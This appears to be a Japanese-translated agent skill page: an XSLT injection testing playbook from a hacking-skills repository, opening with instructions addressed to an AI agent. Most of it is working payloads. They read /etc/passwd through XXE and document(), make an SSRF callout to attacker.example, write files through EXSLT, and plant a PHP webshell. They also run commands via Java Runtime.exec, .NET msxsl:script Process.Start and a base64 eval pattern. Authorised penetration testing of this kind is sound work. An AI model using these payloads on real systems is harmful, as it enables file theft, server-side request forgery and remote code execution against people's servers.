xslt-injection
ユーザーが制御可能なXSLTやスタイルシートの入力、またはトランスフォームエンドポイントが対象となる場合に使用するスキルで、プロセッサのフィンガープリント取得、XXEおよびdocument()によるSSRF、EXSLTの書き込みプリミティブ、PHP/Java/.NETの拡張機能を悪用したRCEなど、XSLTインジェクションに関する包括的なテストを実施します。
description の原文を見る
>- XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.
SKILL.md 本文
SKILL: XSLT インジェクション — テストプレイブック
AI LOAD INSTRUCTION: XSLT インジェクションは、攻撃者が影響を与えた XSLT がサーバー側でコンパイル/実行される場合に発生します。まず プロセッサファミリー (Java/.NET/PHP/libxslt) をマッピングしてください。その後、プラットフォームごとに document()、外部エンティティ、EXSLT、または 組み込みスクリプト/拡張関数 をチェーンします。認可されたテストのみ; 多くのペイロードは破壊的です。ルーティングノート: 入力がジェネリック XML 解析でありXSLTを通さない可能性がある場合、
xxe-xml-external-entityをクロスロードしてください; アウトバウンドdocument(http:...)リクエストに関心がある場合、ssrf-server-side-request-forgeryをクロスロードしてください。
0. クイックスタート
- シンク検出:
xslt、stylesheet、transform、template、SOAP スタイルシート、レポートジェネレータ、XML→HTML コンバータという名前のパラメータを探します。 - リフレクションプロープ: 一意の名前空間または
xsl:value-of select="'marker'"をインジェクトします — 出力が変わる場合、実行の可能性が高いです。 - プロセッサをフィンガープリント (§1)。
- ファミリー別にエスカレート: document() / XXE (§2–3)、EXSLT write (§4)、PHP (§5)、Java (§6)、.NET (§7)。
クイックプローブ (無害なマーカー):
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
1. ベンダー検出
式内で標準的な system-property 読み込みを使用します:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
典型的なフィンガープリント (例であり、網羅的ではありません):
| シグナル | 可能なエンジン |
|---|---|
Apache Software Foundation / Xalan マーカー | Xalan (Java) |
Saxonica / Saxon URI ヒント | Saxon |
libxslt / GNOME スタック | libxslt (C、多くの場合 PHP、nginx モジュール経由) |
| Microsoft URL / MSXML 文字列 | MSXML / .NET XSLT スタック |
結果を使用して §5–§7 パスを選択します。
2. 外部エンティティ (XSLT 経由の XXE)
XSLT 1.0 では、パーサーが DTD を許可する場合、スタイルシートまたはソース内で DTD ベースのエンティティ が許可されます:
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
注意: 強化されたパーサーは外部 DTD を無効にします — ここでの失敗は他の XSLT ベクトルを否定しません (§3 を参照)。
3. document() 経由のファイル読み取り
document() は別の XML ドキュメントをノードセットにロードします; ローカルファイルは XML として解析されることがあります (ノイズが多い) が、エラーと部分的な読み取り でもリークする可能性があります。
Unix の例:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows の例:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / アウトオブバンド:
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
インラインデータがクライアントに戻らない場合、エラーベース または タイミング 観測とチェーンします。
4. EXSLT (exslt:document) 経由のファイル書き込み
EXSLT common 拡張が有効な場合:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
影響: パス権限が許可する任意のファイル書き込み — 多くの場合、webroot、cron パス、またはインクルッションポイント経由で RCE。
5. PHP (php:function) 経由の RCE
registerPHPFunctions() スタイルの公開を備えた PHP XSLT が必要です (アプリケーションの設定ミス)。名前空間:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
ディレクトリリスト:
<xsl:value-of select="php:function('scandir','.')"/>
危険なパターン (履歴的な悪用 — ラボでのみ確認):
php:function('assert', string($payload))— 環境に依存、多くの場合非推奨/削除; 古いアプリのinclude/requireとチェーン。php:function('file_put_contents','/var/www/shell.php','<?php ...')— 呼び出し可能が無分別にホワイトリストされた場合の webシェル書き込み。preg_replacewith/emodifier (レガシー PHP) — 置換文字列は PHP として評価; metasploit スタイルのチェーンは多くの場合、blob の base64_decode でラップされて meterpreter (またはその他の) ステージ化されたペイロードをスムーズに送出します。PHP 7+ で削除; 古いランタイムのみ関連。
レガシー PHP 同等物 (illustrates the /e + base64 パターン — ラボのみ):
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
XSLT 表面は php:function がユーザースタイルシートに preg_replace を公開する場合のみ (まれ + 重大な設定ミス)。
テスター注: 現代的な PHP 強化はしばしば これらをブロック; RCE の不在は document() / XXE を削除しません。
6. JAVA (SAXON / XALAN 拡張機能) 経由の RCE
Java エンジンは、静的メソッドにマップする 拡張関数 を公開する可能性があります。例は履歴的なアドバイザリに表示されます; 正確な構文は バージョンと拡張バインディング に依存します。
説明的なパターン (概念的 — 許可された拡張名前空間と API に調整):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon スタイル静的 Java 統合 (構成に大きく依存):
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
192.0.2.1 をあなたのラボリスナー / ドキュメント IP (RFC 5737 TEST-NET) に置き換えます。
運用ガイダンス: 拡張機能が無効な場合 (一般的なセキュアなデフォルト)、document()、SSRF、または別の場所の deserialization にピボットします — すべての XSLT エンドポイントが拡張機能をオンで実行するわけではありません。
7. .NET (msxsl:script) 経由の RCE
Microsoft XSLT スクリプトブロック が許可される場合:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
デフォルトセキュア設定 はしばしばスクリプトを無効にします — これを 有効な場合 の動作として扱います。
8. デシジョンツリー
ユーザーが XSLT または XML 変換に影響を与えるか?
|
NO --> 停止 (スコープ外)
|
YES
|
+---------------+---------------+
| |
インジェクト リフレクション
ロジックを出力に反映 なし
するか? ブラインドチャネル
| を試す
v |
system-property() v
ベンダーをフィンガープリント エラー、OOB、タイミング
| |
+-----------+-----------+ |
| | | |
libxslt Java .NET document()
| | | |
document() Saxon/Xalan msxsl:script? SSRF/ファイル
EXSLT write 拡張機能? | |
| | C# Process EXSLT?
v v v v
ファイル R/W rt/exec cmd.exe /c 証拠をマッピング
Payloads All The Things (PAT) ノート
PayloadsAllTheThings プロジェクトは多くのインジェクションクラスを文書化しており; XSLT については、メンテナーノートが SQLi/XSS ツールチェーンに匹敵する専用のメンテナンスツールセクション がないことを示しています — エクスプロイテーションは プロセッサと設定に固有 であり、プロキシ/手動ペイロードとカスタムスクリプトによって駆動されます。可能な場合、ターゲットと同じエンジン/バージョンで ローカルラボ再現 の時間を計画してください。
ツール (実用的)
| カテゴリ | 例 |
|---|---|
| プロキシ / 手動 | Burp Suite、OWASP ZAP — スタイルシートペイロードを再生、レスポンスとエラーを観察 |
| XML/XSLT ラボ | 確実なプロセッサ (PHP libxslt、Java Saxon バージョン、.NET フレームワーク) を VM で一致させる |
| アウトオブバンド | Collaborator / プライベートコールバックサーバー document('http://…') 用 |
単一の汎用スキャナーは バージョン固有 の動作検証を代替しません。
関連
- xxe-xml-external-entity — DTD/エンティティ強化、ジェネリック XML パーサー (
../xxe-xml-external-entity/SKILL.md)。 - ssrf-server-side-request-forgery —
document(http:…)またはエンティティ URL がサーバーフェッチを引き起こす場合 (../ssrf-server-side-request-forgery/SKILL.md)。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。